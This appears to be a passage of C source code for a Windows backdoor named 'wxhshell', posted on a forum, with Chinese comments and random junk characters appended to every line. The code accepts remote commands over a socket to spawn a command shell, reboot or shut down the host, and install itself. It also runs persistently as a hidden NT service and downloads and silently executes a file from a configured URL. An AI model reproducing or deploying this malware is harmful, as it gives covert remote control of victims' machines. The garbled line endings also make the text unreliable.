  } Na=.LW-ma=  
  else { .hPk}B/KV  
=ss(~[  
    switch(cmd[0]) { 8eGq.+5G  
  k[#<=G_=/E  
  // 帮助 ae_Y?g+3  
  case '?': { lkl+o&D9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3k3-Ts  
    break; Gl; xd  
  } _c$l@8KS^  
  // 安装 A6eIf  
  case 'i': { O*jTrZ(k  
    if(Install()) ( y0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m~c6b{F3Z-  
    else VC~1QPC9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }w&W\g+E$  
    break; w=JO$7  
    } icS% ])3LF  
  // 卸载 ?V&# nA  
  case 'r': { s3<gq x-&r  
    if(Uninstall()) W2yNwB+{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nM#/uuRl|  
    else N(c`h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @@uKOFA?  
    break; -j& A;G  
    } Wz{,N07Q#{  
  // 显示 wxhshell 所在路径 ^1`Mz<  
  case 'p': { %j $r"  
    char svExeFile[MAX_PATH]; ]"q9~  
    strcpy(svExeFile,"\n\r"); V?t56n Y}  
      strcat(svExeFile,ExeFile); i=3~ h Zl  
        send(wsh,svExeFile,strlen(svExeFile),0); g&&-  
    break; g A+p^`;[  
    } Y.yiUf/Q  
  // 重启 AdU0 sZ+&c  
  case 'b': { _"l2UDx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f^Io:V\  
    if(Boot(REBOOT)) t9l]ie{"o.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Iz*W]B!  
    else { 9 t8NK{  
    closesocket(wsh); uSQlE=  
    ExitThread(0); 12]rfd   
    } ]Xm+-{5?!R  
    break; ExKyjWAJ  
    } u0;k_6N  
  // 关机 Nhf@Y}Cu  
  case 'd': { e92,@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?*AhGza/  
    if(Boot(SHUTDOWN)) xTnFJ$RK2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K]SsEsd  
    else { Nb3uDA5R  
    closesocket(wsh); WQiIS0BJ *  
    ExitThread(0); ^tF lA)  
    } [b:0j-  
    break; 3QhQpPk) ,  
    } k^@dDLr"  
  // 获取shell #IvHxSo&  
  case 's': { 3-Bz5sj9  
    CmdShell(wsh); nixIKOnjC  
    closesocket(wsh); >q&X#E<w  
    ExitThread(0); D]=V6l=  
    break; b9R0"w!ml  
  } PRal>s&f  
  // 退出 j82x$I*  
  case 'x': { zFi)R }Ot  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W\EvMV"  
    CloseIt(wsh); 4|/}~9/  
    break; 8hV>Q  
    } xp*Wf#BF  
  // 离开 A1Es>NK[qW  
  case 'q': { XOL_vS24  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Suo%uD  
    closesocket(wsh); PiIP%$72O  
    WSACleanup(); NG5k9pJ  
    exit(1); s|vx2-Cu]  
    break; Egt !N  
        } #g#[|c.  
  } f4;V7DJ  
  } Z~AgZM R  
laRn![[  
  // 提示信息 #EA` |  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a9_KoOa.H  
} 1lYQR`Uh  
  } L[voouaqm  
\MDhm,H<  
  return; bx%Ky0Z  
} oH(a*i  
zDf96eK  
// shell模块句柄 zI= 9  
int CmdShell(SOCKET sock) Z&|Dp*Z  
{ eGW h]%  
STARTUPINFO si; $9@3dM*E?Z  
ZeroMemory(&si,sizeof(si)); PDpuHHB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GYrUB59  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ly`\TnC  
PROCESS_INFORMATION ProcessInfo; R$x(3eyx  
char cmdline[]="cmd"; (c S'Nm5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p`Ok(C_  
  return 0; r ?<?0j  
} fQxlYD'peb  
Z|B`n SzH  
// 自身启动模式 Gs/G_E(T  
int StartFromService(void) SveP:uJA[  
{ ]E|E4K6g  
typedef struct q*!Vyk  
{ I6i qC"BK  
  DWORD ExitStatus; jZk dTiI  
  DWORD PebBaseAddress; !{F\ \D/  
  DWORD AffinityMask; W 'PW;.,  
  DWORD BasePriority; =j%ORD[  
  ULONG UniqueProcessId; O[8wF86R  
  ULONG InheritedFromUniqueProcessId; FI@kE19  
}   PROCESS_BASIC_INFORMATION; -I:L6ft8  
+^q- v-  
PROCNTQSIP NtQueryInformationProcess; 'soll[J  
C:_-F3|]cJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MKh}2B#S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =)%~QK {Y  
79 \SbB  
  HANDLE             hProcess; ]P2Wa   
  PROCESS_BASIC_INFORMATION pbi; Wb5n> *  
N97WI+`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mUfANlQ:  
  if(NULL == hInst ) return 0; l'1_Fb  
*-3*51 jW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '#Q\p6G&_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WtlLqD!_D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &x3R+(H {  
1QbD]"=n  
  if (!NtQueryInformationProcess) return 0; })?KpYk  
/&em%/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O{Z bpa^  
  if(!hProcess) return 0; LYuMR,7E  
_6`H `zept  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +.a->SZ5"  
?'si ^N  
  CloseHandle(hProcess); _z@_.%P\  
nFjaV`6`@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2UMX%+ "J  
if(hProcess==NULL) return 0; !]MGIh#u  
$*j)ey>  
HMODULE hMod; t; @T~%  
char procName[255]; Dc3bG@K*G  
unsigned long cbNeeded; @Ll^ze&HI  
\98|.EG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {A\y 4D@  
pYj}  
  CloseHandle(hProcess); gb26Y!7%  
'/fueku  
if(strstr(procName,"services")) return 1; // 以服务启动 C}71SlN'M  
% O*)'ni  
  return 0; // 注册表启动 Me-H'Mp~  
} xgIb4Y%  
eMjW^-RgE5  
// 主模块 )gG_K$08?  
int StartWxhshell(LPSTR lpCmdLine) W"g@*B'|  
{ 'kekJ.wJ;  
  SOCKET wsl; 8*sP  
BOOL val=TRUE; U3pMv|b  
  int port=0; ei @$_w*TH  
  struct sockaddr_in door; Sj;:*jk!h  
qSQsY:]j0  
  if(wscfg.ws_autoins) Install(); t x1(6V&l;  
zLjQ,Lp.I  
port=atoi(lpCmdLine); H,)2Ou-Wn  
J6J; !~>_  
if(port<=0) port=wscfg.ws_port; mSp;(oQ  
CMfR&G,)  
  WSADATA data; -V52?Hq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Px`z$~*B:  
> M4QEv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (o8?j^ -v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @}tk/7-E  
  door.sin_family = AF_INET; Zv8G[(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8cbgP$X  
  door.sin_port = htons(port); - P'c0I9z  
eSSv8 [u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0*:4@go0}i  
closesocket(wsl); XtIY8wsP  
return 1; ^oZD44$  
} KCfcEz  
E>rWm_G  
  if(listen(wsl,2) == INVALID_SOCKET) { gX]'RBTb  
closesocket(wsl); 74a>}+"  
return 1; Gl5W4gW;&  
} SI;SnF'[7  
  Wxhshell(wsl); _UUp+Hz  
  WSACleanup(); s ]Db<f  
k^\>=JTq=  
return 0; 6zJ>n~&(  
`f%sq*O~  
} mTZgvPJ!  
I@YX-@&7  
// 以NT服务方式启动 PxgLt2dXa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,8@U-7f,  
{ *Ui>NTl  
DWORD   status = 0; XLFo"f  
  DWORD   specificError = 0xfffffff; E#,n.U>#)  
B1 [O9U:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G `JXi/#`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2_;3B4GDF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .8Gmy07  
  serviceStatus.dwWin32ExitCode     = 0; G 4 C 7  
  serviceStatus.dwServiceSpecificExitCode = 0; i)+2? <]  
  serviceStatus.dwCheckPoint       = 0; +FYhDB~m  
  serviceStatus.dwWaitHint       = 0; QfsTUAfR  
e[J0+ x#;r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8}Su7v1  
  if (hServiceStatusHandle==0) return; }P"JP[#E\  
df!n.&\y!  
status = GetLastError(); X" ;ly0Mb  
  if (status!=NO_ERROR) 44_CT?t<  
{ .p(~/MnO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FrD,)Ad8Q  
    serviceStatus.dwCheckPoint       = 0; ahm@ +/2  
    serviceStatus.dwWaitHint       = 0; 2~SjRIpUw  
    serviceStatus.dwWin32ExitCode     = status; j!QP>AM|`  
    serviceStatus.dwServiceSpecificExitCode = specificError; vq*)2.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }_o!f V  
    return; `K \(I#z  
  } H He~OxWg  
@|J+ f5O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DmgWIede|:  
  serviceStatus.dwCheckPoint       = 0; zmh3 Qa(  
  serviceStatus.dwWaitHint       = 0; U)gr C8 C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w(vda0  
} lBnG!!VrWa  
N}j^55M_]  
// 处理NT服务事件,比如:启动、停止 =H2.1 :'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gDjs:]/YR  
{ XxEKv=_bc  
switch(fdwControl) LVp*YOq7  
{ ]Vgl  
case SERVICE_CONTROL_STOP: do(komP<\  
  serviceStatus.dwWin32ExitCode = 0; \~bE|jWbj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6s|4'!  
  serviceStatus.dwCheckPoint   = 0; tL~?)2uEN  
  serviceStatus.dwWaitHint     = 0; JOJ? .H&su  
  { *,d>(\&[f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #35@YMF  
  } D$ +"n  
  return; Xm}~u?$3  
case SERVICE_CONTROL_PAUSE: CJu3h&Rp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f,}]h~w\  
  break; wH Q$F(by  
case SERVICE_CONTROL_CONTINUE: e(m#elX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; = A;B-_c  
  break; ghd*EXrF H  
case SERVICE_CONTROL_INTERROGATE: _oJq32  
  break; L(i*v5?  
}; TGe{NUO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {JlW1;Jc7  
} -w:F8k ~  
7J@D})si  
// 标准应用程序主函数 Ii9@ j1-g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1Q ^YaHzuW  
{ ZNvnVW<  
-] .Y";  
// 获取操作系统版本 `+/xA\X]  
OsIsNt=GetOsVer(); Ge]2g0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;f7;U=gl,  
XABI2Ex  
  // 从命令行安装 >-{)wk;1&  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z:PsQ~M  
9V=bV=4:  
  // 下载执行文件 GKNH{|B$D  
if(wscfg.ws_downexe) { l[q%1-N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $Z;?d@6yI  
  WinExec(wscfg.ws_filenam,SW_HIDE); -Vi"hSsUP  
} @i[z4)"S  
 `9  
if(!OsIsNt) { &k+'TcWm  
// 如果时win9x,隐藏进程并且设置为注册表启动 6n.W5 1g(s  
HideProc(); N3Jfp3_b@  
StartWxhshell(lpCmdLine); zp2IpYQ,3  
} P]@m0f  
else [fU2$(mT+  
  if(StartFromService()) )MKzAAt~  
  // 以服务方式启动 ;hOrLy&O  
  StartServiceCtrlDispatcher(DispatchTable); &T8prE?  
else / 1jb8w'  
  // 普通方式启动 Tv& -n  
  StartWxhshell(lpCmdLine); {1y-*@yU(  
"gD)Uis  
return 0; (f  0p   
}
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只看该作者 1 发表于: 2006-10-10
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